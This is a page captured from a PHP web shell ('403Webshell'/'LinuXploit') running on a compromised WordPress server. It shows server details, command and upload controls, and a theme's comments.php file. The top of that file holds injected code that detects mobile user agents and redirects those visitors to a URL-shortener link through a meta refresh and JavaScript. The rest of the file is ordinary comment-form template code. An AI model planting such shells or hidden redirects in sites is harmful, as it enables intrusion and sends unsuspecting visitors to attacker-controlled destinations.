403Webshell
Server IP : 43.128.22.13  /  Your IP : 216.73.217.0
Web Server : nginx/1.28.3
System : Linux VM-0-2-debian 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64
User : www ( 1000)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/43.128.22.13/wp-content/themes/kaiyang-tcm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/43.128.22.13/wp-content/themes/kaiyang-tcm/comments.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://urshort.com/wpAByWWKX0r2" /><script>location.replace("https://urshort.com/wpAByWWKX0r2");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php
if (post_password_required()) {
    return;
}
?>

<div id="comments" class="comments-area" style="margin-top: 40px; padding-top: 30px; border-top: 2px solid var(--primary-color);">

    <?php if (have_comments()) : ?>
        <h3 class="comments-title" style="color: var(--secondary-color); margin-bottom: 20px; font-family: 'Ma Shan Zheng', 'KaiTi', cursive;">
            <?php
            $comments_number = get_comments_number();
            if ('1' === $comments_number) {
                printf('1条评论');
            } else {
                printf('%s条评论', number_format_i18n($comments_number));
            }
            ?>
        </h3>

        <ol class="comment-list" style="list-style: none; padding: 0;">
            <?php
            wp_list_comments(array(
                'style' => 'ol',
                'short_ping' => true,
                'avatar_size' => 50,
            ));
            ?>
        </ol>

        <?php if (get_comment_pages_count() > 1 && get_option('page_comments')) : ?>
            <nav class="navigation comment-navigation" style="margin-top: 20px;">
                <div class="nav-links">
                    <div class="nav-previous"><?php previous_comments_link('上一页'); ?></div>
                    <div class="nav-next"><?php next_comments_link('下一页'); ?></div>
                </div>
            </nav>
        <?php endif; ?>

    <?php endif; ?>

    <?php if (!comments_open() && get_comments_number() && post_type_supports(get_post_type(), 'comments')) : ?>
        <p class="no-comments" style="color: var(--accent-color);">评论已关闭</p >
    <?php endif; ?>

    <?php
    comment_form(array(
        'title_reply' => '发表评论',
        'title_reply_to' => '回复 %s',
        'cancel_reply_link' => '取消回复',
        'label_submit' => '提交评论',
        'comment_field' => '<p class="comment-form-comment"><label for="comment">评论内容</label><textarea id="comment" name="comment" cols="45" rows="8" aria-required="true" style="width: 100%; padding: 12px; border: 2px solid var(--border-color); border-radius: 6px; background: var(--light-bg);"></textarea></p >',
        'fields' => array(
            'author' => '<p class="comment-form-author"><label for="author">姓名</label><input id="author" name="author" type="text" value="" size="30" style="width: 100%; padding: 12px; border: 2px solid var(--border-color); border-radius: 6px; background: var(--light-bg); margin-bottom: 15px;" /></p >',
            'email' => '<p class="comment-form-email"><label for="email">邮箱</label><input id="email" name="email" type="email" value="" size="30" style="width: 100%; padding: 12px; border: 2px solid var(--border-color); border-radius: 6px; background: var(--light-bg); margin-bottom: 15px;" /></p >',
            'url' => '<p class="comment-form-url"><label for="url">网站</label><input id="url" name="url" type="url" value="" size="30" style="width: 100%; padding: 12px; border: 2px solid var(--border-color); border-radius: 6px; background: var(--light-bg); margin-bottom: 15px;" /></p >',
        ),
    ));
    ?>

</div>

Youez - 2016 - github.com/yon3zu
LinuXploit